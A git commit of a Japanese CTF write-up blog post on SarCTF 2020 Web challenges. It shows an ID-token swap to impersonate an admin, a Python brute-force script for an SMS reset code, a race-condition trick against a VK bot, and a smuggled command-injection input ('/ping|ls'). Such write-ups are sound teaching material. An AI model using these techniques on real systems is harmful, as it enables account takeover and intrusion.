<commit_before>---
layout: post
title: SarCTF by Saratov State University の write-up
categories: [ctf]
date: 2020-02-17 06:15:00 +0900
---

2 月 15 日から 2 月 17 日にかけて開催された [SarCTF by Saratov State University](https://sarctf.tk/) に、チーム zer0pts として参加しました。最終的にチームで 19246 点を獲得し、順位は 1 点以上得点した 418 チーム中 17 位でした。うち、私は 19 問を解いて 18300 点を入れました。

以下、私が解いた問題の write-up です。

## [Web 821] Door paradox (135 solves)
> Here comes an interesting fact. 221B Baker Street didn’t exist. During the time when the detective was being written, Baker Street was not long and house numbers did not go above 85. The house numbers were written on the front doors of the houses. Although contemporary Museum of Sherlock Holmes has an adresse « 221B Baker Street » it is actually located between house numbers 237 and 241. In reality it’s 239. But let’s go back to the point of the competition. We wrote a messenger for you, because we want you to be comfortable talking. Account for you: test:test
> 
> (URL)

与えられた URL にアクセスすると `Admin1` `Admin2` `test` の 3 名だけが書かれているユーザのリストと、ログインフォームが表示されました。とりあえず `test` / `test` でログインができました。

どうやってログイン状態を維持しているのか気になって Cookie を見てみましたが、何も保存されていません。これは怪しい。DevTools で色々見ていると、Local Storage に `access_key` というキーで `eccbc87e4b5ce2fe28308fd9f2a7baf3` という値が保存されていました。これは `3` の MD5 ハッシュです。ユーザ ID でしょうか。

`c4ca4238a0b923820dcc509a6f75849b` (`1` の MD5 ハッシュ) に書き換えると `Admin1` になることができました。`Admin2` との会話を確認するとフラグが得られました。

```
FLAG{iD00r_with_insecure_token}
```

## [Web 957] Admin (67 solves)
> I'm not an expert, but it seems to me that something needs to be hacked here
> 
> http://(省略)/admin
> 
> Hint 1: just one million possible combinations..
> 
> Hint 2: I think the code is somewhere between 260000 and 280000

Door paradox の続きのようです。`/admin` にアクセスすると、パスワードの入力フォームと `Forgot your password?` という恐らくパスワードのリセットができるリンクが表示されました。`Forgot your password?` を押すとどうなるかソースコードを確認します。

```javascript
︙
function action(action) {
︙
        case 'adminRestore':
            req = api('admin.restore', undefined, true);
            if (req.status === 'success') {
                while (req.response.need_sms === true) {
                    code = prompt('A six-digit secret code has been sent to your number. Enter the code from SMS:');
                    if (code === null || code === undefined || code === '') {
                        location.reload();
                    } else {
                        req = api('admin.restore', {
                            'hash': req.response.new_hash,
                            'sms_code': code
                        }, true);
                    }
                }
                if (req.response.message) alert(req.response.message);
            }
            break;
        case 'adminAuth':
            req = api('admin.logIn', {"password": $("#password").val()}, true);
            if (req.status === 'success') {
                eval(req.response.code);
            }
            break;
    }
}
```

6 ケタの `secret code` を入力し、これが合っていれば何か `alert` が出るようです。ヒントによれば `secret code` は `260000` から `280000` の間ということなので総当たりしてみましょう。

```python
import json
import requests
URL = 'http://(省略)/api/admin.restore'
resp = json.loads(requests.post(URL, data={'hash': '', 'sms_code': ''}).text)
hash = resp['response']['new_hash']

for code in range(260000, 280000):
  if code % 1000 == 0:
    print('[+] debug:', hash, code)

  resp = json.loads(requests.post(URL, data={'hash': hash, 'sms_code': str(code)}).text)
  if not resp['response']['need_sms']:
    print(resp)
  hash = resp['response']['new_hash']
```

```
$ python3 solve.py
︙
{'status': 'success', 'response': {'need_sms': False, 'message': 'FLAG{bruTe_with_hash_f0rce}'}}
Traceback (most recent call last):
  File "solve.py", line 15, in <module>
    hash = resp['response']['new_hash']
KeyError: 'new_hash'
```

フラグが得られました。

```
FLAG{bruTe_with_hash_f0rce}
```

## [Web 1964] Car for Sherlock (48 solves)
> While chasing a serial killer Sherlock Holmes stopped a wrong person. Now, thanks to my « bot », you can buy a car for Sherlock, so he doesn’t have to run chasing taxis anymore.
> 
> https://vk.com/club187880935

VK 上にデプロイされた bot をハックすればよいようです。DM で `/commands` を送ってみると、以下のようなメッセージが返ってきました。

```
/commands - all commmands
/stat - your statistic
/buy <id product> - buy any product
/sell - sell one any product
/product <id number 1-4> - list of offered goods
```

`/stat` で所持金が `100` であることがわかります。`/product` で `100` で買える商品が 3 つと `101` で買えるフラグが存在していることがわかります。これはレースコンディションでしょう。

`/buy 1` でまず `100` の商品をひとつ買い、`/sell` を何個か同時に実行すると、所持金を `200` に増やすことができました。これでフラグが購入できました。

```
FLAG{RaCe_CtF_C0NdItI0n}
```

## [Web 1983] Some bot (33 solves)
> It’s a well-known fact that Sherlock was on something to have these kinds of superpowers. However, it’s only partly true because he messed up somewhere.
> 
> https://vk.com/club188138010

また VK 上にデプロイされた bot をハックすればよいようです。DM で `/commands` を送ってみると、以下のようなメッセージが返ってきました。

```
/commands - all commands
/id <vk.com/screen_name> - get the digital id from screen name (request(only screen_name): /id vk.com/durov )
/time - time now
/ping - ping hosts (executable command: ping 127.0.0.1). The command accepts your values, but temporarily does not work.
```

OS コマンドを実行していそうな雰囲気があります。私が問題を確認した時点で、[yoshiking](https://twitter.com/y05h1k1ng) さんによって `/ping|ls` を送信するとエラーが発生し、どうやら OS コマンドインジェクションができそうだとわかっていました。
<commit_msg>ちょっと修正<commit_after>---
layout: post
title: SarCTF by Saratov State University の write-up
categories: [ctf]
date: 2020-02-17 06:15:00 +0900
---

2 月 15 日から 2 月 17 日にかけて開催された [SarCTF by Saratov State University](https://sarctf.tk/) に、チーム zer0pts として参加しました。最終的にチームで 19246 点を獲得し、順位は 1 点以上得点した 418 チーム中 17 位でした。うち、私は 19 問を解いて 18300 点を入れました。

以下、私が解いた問題の write-up です。

## [Web 821] Door paradox (135 solves)
> Here comes an interesting fact. 221B Baker Street didn’t exist. During the time when the detective was being written, Baker Street was not long and house numbers did not go above 85. The house numbers were written on the front doors of the houses. Although contemporary Museum of Sherlock Holmes has an adresse « 221B Baker Street » it is actually located between house numbers 237 and 241. In reality it’s 239. But let’s go back to the point of the competition. We wrote a messenger for you, because we want you to be comfortable talking. Account for you: test:test
> 
> (URL)

与えられた URL にアクセスすると `Admin1` `Admin2` `test` の 3 名だけが書かれているユーザのリストと、ログインフォームが表示されました。とりあえず `test` / `test` でログインができました。

どうやってログイン状態を維持しているのか気になって Cookie を見てみましたが、何も保存されていません。これは怪しい。DevTools で色々見ていると、Local Storage に `access_key` というキーで `eccbc87e4b5ce2fe28308fd9f2a7baf3` という値が保存されていました。これは `3` の MD5 ハッシュです。ユーザ ID でしょうか。

`<KEY>` (`1` の MD5 ハッシュ) に書き換えると `Admin1` になることができました。`Admin2` との会話を確認するとフラグが得られました。

```
FLAG{iD00r_with_insecure_token}
```

## [Web 957] Admin (67 solves)
> I'm not an expert, but it seems to me that something needs to be hacked here
> 
> http://(省略)/admin
> 
> Hint 1: just one million possible combinations..
> 
> Hint 2: I think the code is somewhere between 260000 and 280000

Door paradox の続きのようです。`/admin` にアクセスすると、パスワードの入力フォームと `Forgot your password?` という恐らくパスワードのリセットができるリンクが表示されました。`Forgot your password?` を押すとどうなるかソースコードを確認します。

```javascript
︙
function action(action) {
︙
        case 'adminRestore':
            req = api('admin.restore', undefined, true);
            if (req.status === 'success') {
                while (req.response.need_sms === true) {
                    code = prompt('A six-digit secret code has been sent to your number. Enter the code from SMS:');
                    if (code === null || code === undefined || code === '') {
                        location.reload();
                    } else {
                        req = api('admin.restore', {
                            'hash': req.response.new_hash,
                            'sms_code': code
                        }, true);
                    }
                }
                if (req.response.message) alert(req.response.message);
            }
            break;
        case 'adminAuth':
            req = api('admin.logIn', {"password": $("#password").val()}, true);
            if (req.status === 'success') {
                eval(req.response.code);
            }
            break;
    }
}
```

6 ケタの `secret code` を入力し、これが合っていれば何か `alert` が出るようです。ヒントによれば `secret code` は `260000` から `280000` の間ということなので総当たりしてみましょう。

```python
import json
import requests
URL = 'http://(省略)/api/admin.restore'
resp = json.loads(requests.post(URL, data={'hash': '', 'sms_code': ''}).text)
hash = resp['response']['new_hash']

for code in range(260000, 280000):
  if code % 1000 == 0:
    print('[+] debug:', hash, code)

  resp = json.loads(requests.post(URL, data={'hash': hash, 'sms_code': str(code)}).text)
  if not resp['response']['need_sms']:
    print(resp)
  hash = resp['response']['new_hash']
```

```
$ python3 solve.py
︙
{'status': 'success', 'response': {'need_sms': False, 'message': 'FLAG{bruTe_with_hash_f0rce}'}}
Traceback (most recent call last):
  File "solve.py", line 15, in <module>
    hash = resp['response']['new_hash']
KeyError: 'new_hash'
```

フラグが得られました。

```
FLAG{bruTe_with_hash_f0rce}
```

## [Web 1964] Car for Sherlock (48 solves)
> While chasing a serial killer <NAME> stopped a wrong person. Now, thanks to my « bot », you can buy a car for Sherlock, so he doesn’t have to run chasing taxis anymore.
> 
> https://vk.com/club187880935

VK の bot をハックすればよいようです。DM で `/commands` を送ってみると、以下のようなメッセージが返ってきました。

```
/commands - all commmands
/stat - your statistic
/buy <id product> - buy any product
/sell - sell one any product
/product <id number 1-4> - list of offered goods
```

`/stat` で所持金が `100` であることがわかります。`/product` で `100` で買える商品が 3 つと `101` で買えるフラグが存在していることがわかります。これはレースコンディションでしょう。

`/buy 1` でまず `100` の商品をひとつ買い、`/sell` を何個か同時に実行すると、所持金を `200` に増やすことができました。これでフラグが購入できました。

```
FLAG{RaCe_CtF_C0NdItI0n}
```

## [Web 1983] Some bot (33 solves)
> It’s a well-known fact that Sherlock was on something to have these kinds of superpowers. However, it’s only partly true because he messed up somewhere.
> 
> https://vk.com/club188138010

また VK の bot をハックすればよいようです。DM で `/commands` を送ってみると、以下のようなメッセージが返ってきました。

```
/commands - all commands
/id <vk.com/screen_name> - get the digital id from screen name (request(only screen_name): /id vk.com/durov )
/time - time now
/ping - ping hosts (executable command: ping 127.0.0.1). The command accepts your values, but temporarily does not work.
```

OS コマンドを実行していそうな雰囲気があります。私が問題を確認した時点で、[yoshiking](https://twitter.com/y05h1k1ng) さんによって `/ping|ls` を送信するとエラーが発生し、どうやら OS コマンドインジェクションができそうだとわかっていました。

{'fraction_non_alphanumeric': 0.12289451397384021, 'fraction_numerical': 0.04074527147830997, 'mean_word_length': 3.4026512013256007, 'pattern_counts': {'":': 2, '<': 13, '<?xml version=': 0, '>': 45, 'https://': 8, 'lorem ipsum': 0, 'www.': 0, 'xml': 0}, 'pii_count': 2, 'substrings_counts': 0, 'word_list_counts': {'cursed_substrings.json': 0, 'profanity_word_list.json': 0, 'sexual_word_list.json': 0, 'zh_pornsignals.json': 0}}
{'dir': 'git-commits-cleaned', 'id': '6785328', 'n_tokens_mistral': 4975, 'n_tokens_neox': 4336, 'n_words': 1131}